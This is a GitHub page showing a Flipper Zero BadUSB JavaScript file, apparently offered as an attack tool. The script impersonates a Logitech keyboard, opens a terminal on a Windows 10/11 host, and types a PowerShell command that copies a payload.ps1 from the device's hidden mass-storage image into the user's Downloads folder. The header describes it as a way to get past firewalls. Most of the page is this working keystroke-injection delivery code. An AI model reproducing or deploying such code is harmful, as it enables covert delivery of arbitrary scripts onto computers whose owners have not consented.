-
Notifications
You must be signed in to change notification settings - Fork 0
/
File_Injection.js
61 lines (51 loc) · 3.63 KB
/
File_Injection.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// ########################################################################################
// # |
// # ███▄ ▄███▓ ██▓ ██▓ ██▀███ ▄▄▄ ▄▄▄ ██ ▄█▀ |
// # ▓██▒▀█▀ ██▒▓██▒▓██▒▓██ ▒ ██▒▒████▄ ▒████▄ ██▄█▒ |
// # ▓██ ▓██░▒██▒▒██▒▓██ ░▄█ ▒▒██ ▀█▄ ▒██ ▀█▄ ▓███▄░ |
// # ▒██ ▒██ ░██░░██░▒██▀▀█▄ ░██▄▄▄▄██░██▄▄▄▄██ ▓██ █▄ |
// # ▒██▒ ░██▒░██░░██░░██▓ ▒██▒ ▓█ ▓██▒▓█ ▓██▒▒██▒ █▄ |
// # ░ ▒░ ░ ░░▓ ░▓ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒▒ ▓▒█░▒ ▒▒ ▓▒ |
// # ░ ░ ░ ▒ ░ ▒ ░ ░▒ ░ ▒░ ▒ ▒▒ ░ ▒ ▒▒ ░░ ░▒ ▒░ |
// # ░ ░ ▒ ░ ▒ ░ ░░ ░ ░ ▒ ░ ▒ ░ ░░ ░ |
// # ░ ░ ░ ░ ░ ░ ░ ░░ ░ |
// # |
// # Title : FileInjection |
// # Link : https://github.com/miiraak/ |
// # Version : 2.0 |
// # Category : Others |
// # Target : Windows 10/11 |
// # Description : Copie un payload.ps1 vers le PC, evitant utilisation de dropbox. |
// # Permet de bypass les firewall, marche sur les pc offline. |
// # |
// ########################################################################################
print("__Activation des modules__")
// you can change this with your .img name (if not, create mass storage .img named Infliltration)
let stockage = "/ext/apps_data/mass_storage/Infiltration.img";
let badusb = require("badusb");
let usbdisk = require("usbdisk");
// You can change this with your layout
let layout = "fr-CH";
// You can change this with custom vid/pid and name
print("__Parametrage du layout__")
badusb.setup({ vid: 0x046D, pid: 0xc33f, mfr_name: "Logitec, Inc",
prod_name: "Keyboard", layout_path: "/ext/badusb/assets/layouts/" + layout + ".kl" });
print("Recherche d'hote...");
while (!badusb.isConnected()) {
delay(1000);
}
print("__Injection du payload__");
badusb.press("GUI", "x");
delay(300);
badusb.press("i");
delay(3000);
badusb.println("Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; Copy-Item -Path ${DriveLetter}:/payload.ps1 -Destination C:/Users/$env:username/Downloads; exit;");
badusb.quit();
delay(2000);
usbdisk.start(stockage);
print("Attendez la fermeture du Terminal...");
while (!usbdisk.wasEjected()) {
delay(1000);
}
print("Done");
usbdisk.stop();